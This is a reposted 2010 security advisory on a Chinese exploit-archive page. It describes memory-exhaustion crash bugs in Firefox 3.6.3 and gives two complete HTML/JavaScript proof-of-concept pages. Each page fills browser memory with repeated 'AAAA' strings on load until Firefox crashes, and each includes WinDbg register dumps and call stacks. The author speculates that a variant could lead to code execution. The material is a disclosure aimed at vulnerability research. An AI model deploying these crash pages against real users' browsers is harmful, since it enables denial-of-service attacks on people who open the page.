首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Firefox 3.6.3 (latest) <= memory exhaustion crash vulnerabilities
来源:http://www.x90c.org 作者:x90c 发布时间:2010-05-24  

Title: Firefox 3.6.3 (latest) <= memory exhaustion crash vulnerabilities

0x01. Description:
Memory exhaustion of Firefox 3.6.3 (latest) <= makes firefox can't make texts into body element and then it crashed.
( raise exception using PoC #1, lower memory area read access violation using PoC #2 )
Ofcourse an variation PoC made NULL Pointer deref so may also could be code execution ( 0.1 % ). :-)

URL: http://www.x90c.org/advisories/firefox_3.6.3_crash_advisory.txt

Vendor Status: unpatched. ( to now... doesn't exists any reliable exploit so i disclosed to bugtraq firstly )

0x02. Proof of Concepts:

[PoC #1 - firefox_3.6.3_dos_poc_1.htm] --
<HTML>
<HEAD>
<SCRIPT LANGUAGE="javascript">

// Mozilla Firefox <= 3.6.3 (Win32) 0Day DoS Proof-of-Concept #1
//
// o Summary:
// After loading this PoC, about 40 seconds later triggered.
// Crashes are occured at a same location.
//
// --
// 7c7e2af5 ff1510157d7c    call    dword ptr [kernel32!_imp__RtlRaiseException (7c7d1510)]
//         ds:0023:7c7d1510={ntdll!RtlRaiseException (7c93e528)} ( raised )
//
// ##### 100% same below crash. exception raised. #####
// (f34.850): C++ EH exception - code e06d7363 (first chance)
// (f34.850): C++ EH exception - code e06d7363 (!!! second chance !!!)
// eax=0012aa58 ebx=01000121 ecx=00000000 edx=781d7ba8 esi=0012aae0 edi=2f900008
// eip=7c7e2afb esp=0012aa54 ebp=0012aaa8 iopl=0         nv up ei pl nz na pe nc
// cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
// kernel32!RaiseException+0x53:
// 7c7e2afb 5e              pop     esi 
// --
//
// Call Stack:
// 00 0012aa28 7815c54b e06d7363 00000001 00000003 kernel32!RaiseException+0x53
// WARNING: Stack unwind information not available. Following frames may be wrong.
// 01 0012aa60 78164f33 0012aa70 781caa24 781ac11c MOZCRT19!CxxThrowException+0x46
// 02 0012aa78 100cd464 08c00060 0012b1a0 21500008 MOZCRT19!operator new+0x73
// 03 00000000 00000000 00000000 00000000 00000000 xul!gfxWindowsFontGroup::MakeTextRun+0x54

// Trace:
// MOZCRT19!operator new:
//    78164ec0 8b442404        mov     eax,dword ptr [esp+4]
//    78164ec4 83ec0c          sub     esp,0Ch
//    78164ec7 50              push    eax
//    78164ec8 e8134bfdff      call    MOZCRT19!malloc (781399e0)
//  ...
//    78164f26 c74424081cc11a78 mov     dword ptr [esp+8],offset MOZCRT19!exception::`vftable'+0xc14 (781ac11c)
//    78164f2e e8d275ffff      call    MOZCRT19!CxxThrowException (7815c505) ; Throw Exception.
//    78164f33 83c40c          add     esp,0Ch
//    78164f36 c3              ret
//
// MOZCRT19!CxxThrowException:
//    7815c505 55              push    ebp
//    7815c506 8bec            mov     ebp,esp
//    7815c508 83ec20          sub     esp,20h
// ...
//    7815c545 ff15e4911a78    call    dword ptr [MOZCRT19!modf+0x87d4 (781a91e4)] ds:0023:781a91e4=
//    {kernel32!RaiseException (7c7e2aa9)} ; Raise Exception!
//
// o Impact: DoS ( Exception Raise )
//
// o Tested on:
//  - MS Win XP SP3 (ko)
//  - Mozilla Firefox 3.6.3 (Win32) (ko)
//    ( Mozilla/5.0, rv:1.9.2.3, Gecko/20100401 )
//
// P.S: This vulnerability similer with the CVE-2009-1571 [1] but it's patched on Firefox 3.6
//  so this is *not the same vulnerability*!
//
// [1] CVE-2009-1571 ( Credit: Alin Rad Pop of Secunia ) - Thanks to Alin Rad Pop.
//     - http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1571
//
// o Discovered by x90c in INetCop(c) Security during analysis.
// o Discovered date: 2010.03.04
// o Personal homepage: http://www.x90c.org
//
// Greets to Xpl017Elz(x82), rebel
//

function append_text_into_body()
{
 var p1 = document.getElementById('p1');
 var Text1 = "";
 var TextNode = null;

 // Trigger! MakeFont... into p element on body element.
 for(var i = 0; i < 0x700000 / 4; i++)
 {
  Text1 = Text1 + "AAAA";
 }

 TextNode = document.createTextNode(Text1);
 p1.appendChild(TextNode); // Memory Exhaustion makes FireFox can't make Texts it caused an crash.
}

var arr1, arr2, arr3, arr4, arr5;
var a = 1;

var timer;

function fill_all_memory()
{
 var chunk = unescape("%u4141%u4141");
 var i = 0;

 if( a > 5 )
 {
  a++;
 }
 if(a >= 30)
 {
  append_text_into_body();
 }

 while(chunk.length <= 0x400000)
 {
  chunk = chunk + chunk;
 }
 chunk = chunk + chunk + chunk;
 chunk = chunk.substring(0, chunk.length);

 if(a == 1)
 {
  arr1 = new Array();
  for(i = 0; i < 0xd0; i++)
  {
   arr1[i] = chunk;
  }
  a = 2;
 }
 else if(a == 2)
 {
  arr2 = new Array();
  for(i = 0; i < 0xd0; i++)
  {
   arr2[i] = chunk;
  }
  a = 3;
 }
 else if(a == 3)
 {
  arr3 = new Array();
  for(i = 0; i < 0xd0; i++)
  {
   arr3[i] = chunk;
  }
  a = 4;
 }
 else if(a == 4)
 {
  arr4 = new Array();
  for(i = 0; i < 0xd0; i++)
  {
   arr4[i] = chunk;
  }
  a = 5;
 }
 else if(a == 5)
 {
  arr5 = new Array();
  for(i = 0; i < 0xd0; i++)
  {
   arr5[i] = chunk;
  }
  a = 6;
 }
}

function try_fill()
{
 fill_all_memory();
 setTimeout("try_fill();", 500);
}

</SCRIPT>
</HEAD>

<BODY onload="try_fill();">
<P id='p1'></P>
</BODY>
</HTML>

<!-- [ eoc ] -->


[PoC #2 - firefox_3.6.3_dos_poc_2.htm] --

<HTML>
<HEAD>
<SCRIPT LANGUAGE="javascript">

// Mozilla Firefox <= 3.6.3 (Win32) 0Day DoS Proof-of-Concept #2
//
// o Summary:
// After loading this PoC, about 40 seconds later triggered.
// Crashes are occured at a same location.
//
// --
// #####  almost 99% below crash #####
// (f0c.8b4): Access violation - code c0000005 (first chance)
// First chance exceptions are reported before any exception handling.
// This exception may be expected and handled.
// eax=0012aab8 ebx=00002226 ecx=000042a4 edx=000000ee esi=00003ce8 edi=000000ee
// eip=73f937cd esp=0012a3fc ebp=0012a3fc iopl=0         nv up ei pl zr na pe nc
// cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
// USP10!DoubleWideCharMappedString::operator[]+0x1f:
// 73f937cd 0fb70448        movzx   eax,word ptr [eax+ecx*2] ds:0023:00133000=???? ( beside stack area and unmapped )
// --
//
// 0:000> kp
// ChildEBP RetAddr 
// 0012a3fc 73f99a42 USP10!DoubleWideCharMappedString::operator[]+0x1f
// 0012a4cc 73f92d34 USP10!ScriptTokenize+0x91
// 0012a4f4 100efc30 USP10!ScriptItemize+0x42
// WARNING: Stack unwind information not available. Following frames may be wrong.
// 0012a5a0 7813807d xul!gfxWindowsFontGroup::GetUnderlineOffset+0x4cb0
// 00000000 00000000 MOZCRT19!expand+0x37d
//
// o Impact: DoS ( may also code execution )
//
// o Tested on:
//  - MS Win XP SP3 (ko)
//  - Mozilla Firefox 3.6.3 (Win32) (ko)
//    ( Mozilla/5.0, rv:1.9.2.3, Gecko/20100401 )
//
// P.S: This vulnerability similer with the CVE-2009-1571 [1] but it's patched on Firefox 3.6
//  so this is *not the same vulnerability*! and this makes same crash with [2]
//
// [1] CVE-2009-1571 ( Credit: Alin Rad Pop of Secunia ) - Thanks to Alin Rad Pop.
//     - http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1571
//
// [2] All browsers 0day Crash Exploit ( Inj3ct0r Team )
//    - http://www.exploit-db.com/exploits/12491
//
// o Discovered by x90c in INetCop(c) Security during analysis.
// o Discovery date: 2010.03.04
// o Personal homepage: http://www.x90c.org
//
// Greets to Xpl017Elz(x82), rebel
//

function append_text_into_body()
{
 var p1 = document.getElementById('p1');
 var Text1 = "";
 var TextNode = null;

 // Trigger! MakeFont... into p element on body element.
 for(var i = 0; i < 0x700000 / 4; i++)
 {
  Text1 = Text1 + "AAAA";
 }

 TextNode = document.createTextNode(Text1);
 p1.appendChild(TextNode); // Memory Exhaustion makes FireFox can't make Texts it caused an crash.
}

var a = 1;

var timer;

function fill_all_memory() // This function's variation can makes an null pointer deref without append_text_into_body() calling.
{
 var chunk = unescape("%u4141%u4242");
 var i = 0;

 append_text_into_body();

 while(chunk.length <= 0x400000)
 {
  chunk = chunk + chunk;
 }
 chunk = chunk + chunk + chunk;
 chunk = chunk.substring(0, chunk.length);
}

function try_fill()
{
 fill_all_memory();
 // this poc makes 99% almost crashed same location as below.
 // 10: USP10!DoubleWideCharMappedString::operator[]+0x1f:
 //    73f937cd 0fb70448        movzx   eax,word ptr [eax+ecx*2] ds:0023:00133000=????
 // 100: ''
 // 150: ''
 // 200: ''
 // 300: ''
 // 500: ''
 // 1000: ''
 // 5000: ''
 setTimeout("try_fill();", 10);
}

</SCRIPT>
</HEAD>

<BODY onload="try_fill();">
<P id='p1'></P>
</BODY>

</HTML>

<!-- [ eoc ] -->


Thank you bugtraq securityfocus


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Rumba FTP Client FTPSFtp.dll v
·Solaris/x86 - Reboot() - 37 by
·Hustoj (fckeditor) remote arbi
·Solarwinds 10.4.0.10 TFTP DOS
·Open and Compact FTP server ve
·Amaya 11.3.1(dec 9 2009) remot
·CompleteFTP Server version 3.3
·WinDirectAudio (.WAV) PoC
·ECShop remote SQL injection ex
·Media Player Classic - v 1.3.1
·Kingsoft WebShield KAVSafe.sys
·WebAsys blind SQL Injection Ex
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved